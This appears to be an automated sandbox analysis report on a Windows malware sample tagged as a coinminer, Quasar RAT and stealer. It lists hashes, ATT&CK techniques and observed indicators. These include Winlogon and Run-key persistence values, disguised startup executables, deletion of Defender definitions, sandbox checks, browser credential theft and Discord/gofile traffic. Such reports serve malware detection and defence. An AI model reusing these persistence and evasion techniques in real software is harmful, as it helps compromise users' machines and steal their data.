c67b71ff5583e87a5006260399989ba5a63acf28ae5db00776abf7606933fa2c

Analysis

max time kernel
60s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/08/2026, 09:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Size 26.9MB
Sample260813-lbef6sem5z
SHA256 c67b71ff5583e87a5006260399989ba5a63acf28ae5db00776abf7606933fa2c
MD5 6b2b2e96c270f0fa50ebbd03d5ae6329
SHA1 51ebe41f985d161097e206c05ad07b993c22db84
SHA512 611def8d57b5b635a35558d46e703d3be14e32afb8064c44f7bd3c74d778f21297c840bb2b7cf92b308af7333b16a8e5574d65f1ca1d0b3978dab9e6a82499e7
SSDEEP 98304:QBkBbjvb9qxF32SsUGLfbyTIzL8UV9nqbsod5b671wr78ZbyNZweE3cSc/BkI6jc:wkWxeLjxpV9x7eDwn3GBVQqM40j5IZ
TLSH
T14F573A67F8D21994D4EAC574C772816FBA613C1A0B3823E71690B7201F3BBD0AAB7745
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 2 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
1704	MpCmdRun.exe
2552	MpCmdRun.exe

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe,"	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe,,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe,"	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe

Renames multiple (746) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Command and Scripting Interpreter: PowerShell 1 TTPs 52 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2904	powershell.exe
5488	powershell.exe
5828	powershell.exe
2856	powershell.exe
2848	powershell.exe
1132	powershell.exe
5956	powershell.exe
1404	powershell.exe
5556	powershell.exe
3972	powershell.exe
6044	powershell.exe
1276	powershell.exe
3520	powershell.exe
5624	powershell.exe
2544	powershell.exe
2488	powershell.exe
5108	powershell.exe
2168	powershell.exe
5812	powershell.exe
3056	powershell.exe
3184	powershell.exe
5248	powershell.exe
2944	powershell.exe
1200	powershell.exe
3104	powershell.exe
5236	powershell.exe
3620	powershell.exe
4668	powershell.exe
708	powershell.exe
4252	powershell.exe
1976	powershell.exe
5496	powershell.exe
5496	powershell.exe
5624	powershell.exe
4252	powershell.exe
5236	powershell.exe
2488	powershell.exe
5556	powershell.exe
5828	powershell.exe
2544	powershell.exe
2848	powershell.exe
2904	powershell.exe
5812	powershell.exe
3104	powershell.exe
5956	powershell.exe
1276	powershell.exe
708	powershell.exe
3184	powershell.exe
1132	powershell.exe
3620	powershell.exe
3972	powershell.exe
1200	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe

Creates a file in the Startup directory 1 TTPs 6 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.exe	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.exe	attrib.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 6 IoCs

pid	Process
5988	WmiPrvSE.exe
3976	SecurityHealthSystray.exe
2200	SecurityHealthSystray.exe
3588	RuntimeBroker.exe
5016	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
5064	WmiPrvSE.exe

Modifies file permissions 1 TTPs 18 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5532	icacls.exe
4408	icacls.exe
2024	icacls.exe
1240	icacls.exe
1016	icacls.exe
4596	icacls.exe
1428	icacls.exe
1640	icacls.exe
3284	icacls.exe
1068	icacls.exe
2852	icacls.exe
5920	icacls.exe
1052	icacls.exe
4712	icacls.exe
1232	icacls.exe
1880	icacls.exe
5884	icacls.exe
3408	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 24 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeHostSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RuntimeHostSvc.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\INetCache\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\INetCache\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeHostSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RuntimeHostSvc.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeHostSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RuntimeHostSvc.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeHostSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RuntimeHostSvc.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\INetCache\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeHostSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RuntimeHostSvc.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\INetCache\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeHostSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RuntimeHostSvc.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftWMIHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WMI\\WmiPrvSE.exe --wdog 0 C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftWMIHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WMI\\WmiPrvSE.exe --wdog 0 C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\INetCache\\RuntimeBroker.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeHostSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RuntimeHostSvc.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\MS_RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\RuntimeBroker.exe"	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 17 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
7	discord.com
16	api.gofile.io
22	discord.com
31	discord.com
32	api.gofile.io
35	discord.com
36	api.gofile.io
1	discord.com
9	api.gofile.io
15	discord.com
20	discord.com
25	api.gofile.io
28	api.gofile.io
6	discord.com
1	api.gofile.io
27	discord.com
6	api.gofile.io

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
6	ip-api.com
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\desktop.ini:RuntimeBroker	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c614000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 6 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5784	netsh.exe
5236	netsh.exe
916	netsh.exe
1512	netsh.exe
4104	netsh.exe
4576	netsh.exe

System Time Discovery 1 TTPs 21 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2520	reg.exe
1652	attrib.exe
4272	reg.exe
1600	attrib.exe
5708	reg.exe
5880	reg.exe
4896	attrib.exe
1972	attrib.exe
4696	reg.exe
564	reg.exe
5468	attrib.exe
4924	reg.exe
4208	attrib.exe
5672	reg.exe
2116	reg.exe
3064	attrib.exe
5784	reg.exe
1652	reg.exe
5976	reg.exe
560	reg.exe
5428	reg.exe

Detects videocard installed 1 TTPs 6 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4852	wmic.exe
604	wmic.exe
3112	wmic.exe
4680	wmic.exe
4140	wmic.exe
3284	wmic.exe

GoLang User-Agent 5 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	38	Go-http-client/1.1
HTTP User-Agent header	13	Go-http-client/1.1
HTTP User-Agent header	24	Go-http-client/1.1
HTTP User-Agent header	30	Go-http-client/1.1
HTTP User-Agent header	34	Go-http-client/1.1

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
1916	taskkill.exe
4408	taskkill.exe
2188	taskkill.exe
1136	taskkill.exe
996	taskkill.exe
5532	taskkill.exe
1068	taskkill.exe
5584	taskkill.exe
3444	taskkill.exe
5792	taskkill.exe
3184	taskkill.exe
4920	taskkill.exe
3024	taskkill.exe
1200	taskkill.exe
2832	taskkill.exe
3184	taskkill.exe
4644	taskkill.exe
4564	taskkill.exe
6016	taskkill.exe
2880	taskkill.exe
5656	taskkill.exe
3188	taskkill.exe
1188	taskkill.exe
5584	taskkill.exe
1096	taskkill.exe
2964	taskkill.exe
2444	taskkill.exe
2980	taskkill.exe
716	taskkill.exe
6000	taskkill.exe
2388	taskkill.exe
4188	taskkill.exe
2608	taskkill.exe
6028	taskkill.exe
2460	taskkill.exe
972	taskkill.exe
3240	taskkill.exe
4288	taskkill.exe
2076	taskkill.exe
4928	taskkill.exe
1124	taskkill.exe
5540	taskkill.exe
5524	taskkill.exe
2676	taskkill.exe
1240	taskkill.exe
3240	taskkill.exe
2436	taskkill.exe
5108	taskkill.exe
3352	taskkill.exe
4656	taskkill.exe
3012	taskkill.exe
5244	taskkill.exe
1124	taskkill.exe
1988	taskkill.exe
5680	taskkill.exe
4308	taskkill.exe
1200	taskkill.exe
2024	taskkill.exe
4932	taskkill.exe
6052	taskkill.exe
5928	taskkill.exe
916	taskkill.exe
5928	taskkill.exe
2008	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\CLSID\{B4F3A835-0E21-11D3-A498-00A0C9062910}\InprocServer32\ThreadingModel = "Apartment"	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\CLSID\{B4F3A835-0E21-11D3-A498-00A0C9062910}\InprocServer32	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\CLSID\{B4F3A835-0E21-11D3-A498-00A0C9062910}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\CLSID\{B4F3A835-0E21-11D3-A498-00A0C9062910}\InprocServer32\ThreadingModel = "Apartment"	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\CLSID\{B4F3A835-0E21-11D3-A498-00A0C9062910}\InprocServer32	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\CLSID	2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
